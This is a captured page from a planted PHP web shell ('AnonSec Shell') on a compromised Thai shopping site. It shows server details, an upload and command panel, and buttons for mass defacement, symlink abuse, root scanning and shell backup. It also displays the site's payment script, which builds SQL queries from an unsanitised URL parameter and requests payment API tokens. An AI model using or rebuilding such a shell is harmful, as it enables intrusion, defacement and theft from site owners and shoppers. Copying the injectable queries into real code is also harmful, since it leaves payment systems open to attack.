AnonSec Shell
Server IP : 172.67.216.113  /  Your IP : 104.23.243.32   [ Reverse IP ]
Web Server : Apache
System : Linux cpanel01wh.bkk1.cloud.z.com 2.6.32-954.3.5.lve1.4.59.el6.x86_64 #1 SMP Thu Dec 6 05:11:00 EST 2018 x86_64
User : cp648411 ( 1354)
PHP Version : 7.2.34
Disable Function : NONE
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home2/cp648411/public_html/taladonnuch.com/talad/payment/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home2/cp648411/public_html/taladonnuch.com/talad/payment/index2.php
<?php include('../include/meta.php');?>
<?php include('kkp/set_dev.php');?>

<?php
date_default_timezone_set("Asia/Bangkok");
$date = date("Y-m-d H:i:s");
$date2 = date("YmdHisB");
$date3 = date("YmdHis");
$date4 = date("Y-m-d");
if($_GET['id'])
{
	$Bi_id = $_GET['id'];
}
function generateRandomString($length = 3) {
		$characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';
		$charactersLength = strlen($characters);
		$randomString = '';
		for ($i = 0; $i < $length; $i++) {
				$randomString .= $characters[rand(0, $charactersLength - 1)];
		}
		return $randomString;
}
function generateRandomNumber($length = 1) {
		$characters = '0123456789';
		$charactersLength = strlen($characters);
		$randomString = '';
		for ($i = 0; $i < $length; $i++) {
				$randomString .= $characters[rand(0, $charactersLength - 1)];
		}
		return $randomString;
}
function generateRunNumber($number) {
	$number = intval($number);
		if(strlen($number) <= 3){
			if($number == 999){
				$number = 1;
			}else {
				$number = $number+ 1;
			}
		}
		return sprintf("%03d", $number);
}
function formatPhoneNumberX($phoneNumber) {
	$phoneNumber = preg_replace('/[^0-9]/','',$phoneNumber);
	//  echo strlen($phoneNumber);
		if(strlen($phoneNumber) > 10) {
				$countryCode = substr($phoneNumber, 0, strlen($phoneNumber)-10);
				$areaCode = substr($phoneNumber, -10, 3);
				$nextThree = substr($phoneNumber, -7, 3);
				$lastFour = substr($phoneNumber, -4, 4);

				$phoneNumber = '+'.$countryCode.' ('.$areaCode.') '.$nextThree.'-'.$lastFour;
		}
		else if(strlen($phoneNumber) == 10) {
				$areaCode = substr($phoneNumber, 0, 1);
				//$areaCode2 = substr($phoneNumber, 1, 3);
				//$nextThree = substr($phoneNumber, 3, 3);
				$lastFour = substr($phoneNumber, 7, 3);

				//$phoneNumber = '('.$areaCode.') '.$nextThree.'-'.$lastFour;
				$phoneNumber = $areaCode.'xx xxxx'.$lastFour;
		}
		else if(strlen($phoneNumber) == 7) {
				$nextThree = substr($phoneNumber, 0, 3);
				$lastFour = substr($phoneNumber, 3, 4);

				$phoneNumber = $nextThree.'-'.$lastFour;
		}else{
				$phoneNumber = '-';
		}

		return  $phoneNumber;
}
$num = 0;
$total = 0;
$shipp = 0;
$list_brd = array('table'=>'order_bill','where'=>' Biid = "'.$Bi_id.'"','order'=> "ORDER BY id ASC");
$view_brd = $view_db->view($list_brd);
$result_brd = $view_db->q_re($view_brd);
while($row_brd = $view_db->q_ro($result_brd))
{
	$sql_or = array('table'=>'orders','where'=>"Oid = '".$row_brd['Oid']."'");
	$view_or = $view_db->view($sql_or);
	$row_or = $view_db->q($view_or);

	$sql_sa = array('table'=>'ship_addr','where'=>"SAid = '".$row_or['SAid']."'");
	$view_sa = $view_db->view($sql_sa);
	$row_sa = $view_db->q($view_sa);

	$list_sp = array('table'=>'shipping','where'=>'status = 1 AND price = "'.$row_or['Oshipprice'].'"');
	$view_sp = $view_db->view($list_sp);
	$row_sp = $view_db->q($view_sp);

$shipp = $shipp + $row_sp['price'];
	$list_ord = array('table'=>'order_detail','where'=>'Oid = "'.$row_brd['Oid'].'"','order'=> "ORDER BY ODid ASC");
	$view_ord = $view_db->view($list_ord);
	$result_ord = $view_db->q_re($view_ord);
	while($row_ord = $view_db->q_ro($result_ord))
	{
	  $num_mod = $num % 2;
	  $sql_pro = array('table'=>'product','where'=>"id = '". $row_ord["Pid"]."'");
	  $view_pro = $view_db->view($sql_pro);
	  $row_pro = $view_db->q($view_pro);

	  $sql_pros = array('table'=>'product_size','where'=>"product_id = '". $row_ord["Pid"]."' AND id = '".$row_ord["SPid"]."'");
	  $view_pros = $view_db->view($sql_pros);
	  $row_pros = $view_db->q($view_pros);

	  $price = $row_pros['price'] * $row_ord['ODqty'];
	  $total = $total +  $price;

	  $num++;


	}
//	$total_all = $total + $row_sp['price'] ;
	$total_all = $total + $shipp ;

	$list_promo = array('table'=>'orders_promotion','where'=>'id_order = "'.$row_brd['Oid'].'"');
	$view_promo = $view_db->view($list_promo);
	$result_promo = $view_db->q_re($view_promo);
	while($row_promo = $view_db->q_ro($result_promo))
	{
	  $row_promo['name'];
	  number_format( $row_promo['discount'], 2, '.', '' );
	  $discount_all = $discount_all + $row_promo['discount'];

	}
	 floatval(@$discount_all);
	$total_all = $total_all - floatval(@$discount_all) ;
	$total_all = $total_all;

	$list = array(
		'table'=>'payment',
		'id_order'=>$row_brd['Biid']
	  );

	$delete = $actiondata_db->delete($list);


	$list_or = array('table'=>'payment','order'=> "ORDER BY `id` DESC");
	$view_or = $view_db->view($list_or);
	$result_or = $view_db->q_ro($view_or);
	$result_or2 = $view_db->q_nr($result_or);
	$result_or3 = $view_db->q($view_or);
	//print_r($result_or3);
	if(@$result_or3){
		$nume= substr($result_or3['TransactionID'],-4,3);
	  $nume = generateRunNumber($nume);
	}else{
	  $nume= 0;
	  $nume = generateRunNumber($nume);
	}
	//echo $result_or3['id_order'];

	  $dateT = date("YmdHis");
	  $day=date("z");
	  $year=date("y");
	  $jdate = $year.sprintf("%03d", $day+1);
	  //$jdate = $year.sprintf("%03d", $day);

	  $length = 1;
	  $id_order = "ONN".$date3.$nume.$length;
	  //$nume= substr($wallet_o[0]['run'],-4,3);
	//echo $nume.'<br>';
	//echo $id_order;
	//exit();
	  $_SESSION['order'][0]['id'] = $Bi_id;
	  $_SESSION['order'][0]['id_order'] = $id_order;
	  $_SESSION['order'][0]['TransactionID'] = $id_order;
	  $_SESSION['order'][0]['TransactionDateTime'] = $date3;
	  $_SESSION['order'][0]['ServiceName'] = 'GenThaiQRPayment';
	  $_SESSION['order'][0]['SystemCode'] = 'API';
	  $_SESSION['order'][0]['ChannelCode'] = 'API';

	  $_SESSION['order'][0]['BillPayment_Reference1'] = generateRandomNumber(4);
	  $_SESSION['order'][0]['BillPayment_Reference2'] = $jdate;
	  $_SESSION['order'][0]['BillPayment_Reference3'] = '';

	  $_SESSION['order'][0]['price'] = number_format($total_all, 2, '.', '');

		$sql_to = array('table'=>'payment_log','where'=>"date = '".$date4."'");
	  $view_to = $view_db->view($sql_to);
	  $row_to = $view_db->q($view_to);

	 @$row_to['id'];
		if(@$row_to['id'] && $row_to['token_type']!='' && $row_to['access_token']!=''){

			$_SESSION['order'][0]['Authorization'] = $row_to['token_type']." ".$row_to['access_token'];

		}
		else{

			$Authorization = $Authorization;
			$ConsumerKey = $ConsumerKey;
			$html_brand = $url_Token;
			$ch = curl_init();
			$options = array(
				CURLOPT_URL            => $html_brand,
				CURLOPT_RETURNTRANSFER => true,
				CURLOPT_HEADER         => false,
				CURLOPT_FOLLOWLOCATION => false,
				CURLOPT_ENCODING       => "",
				CURLOPT_AUTOREFERER    => false,
				CURLOPT_CONNECTTIMEOUT => 120,
				CURLOPT_TIMEOUT        => 120,
				CURLOPT_MAXREDIRS      => 10,
				CURLOPT_POST  		   => true,
				//CURLOPT_POSTFIELDS     => json_encode($postData),
				CURLOPT_POSTFIELDS     => "grant_type=client_credentials",
				CURLOPT_HTTPHEADER     => array(
					"Authorization: $Authorization",
					"Content-Type:application/x-www-form-urlencoded"
				)
			);
			if (!function_exists('curl_setopt_array')) {
				function curl_setopt_array(&$ch, $curl_options)
				{
					foreach ($curl_options as $option => $value) {
						if (!curl_setopt($ch, $option, $value)) {
							return false;
						}
					}
					return true;
				}
			}
			curl_setopt_array( $ch, $options );

			$response = curl_exec($ch);
			$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
			$data = json_decode($response, true);
			$name_table='payment_log';
			$list = array(
				'table'=>$name_table,
				'date'=>"'".@$date4."'",
				'access_token'=>"'".@$data['access_token']."'",
				'token_type'=>"'".@$data['token_type']."'"
			);

			$add = $actiondata_db->add_db($list);

			$_SESSION['order'][0]['Authorization'] = $data['token_type']." ".$data['access_token'];
		}






}
/*
echo "<pre>";
print_r($_SESSION);
echo "</pre>";
*/
header("location:../payment/payment_qr2.php");
exit();
?>

Anon7 - 2022
AnonSec Team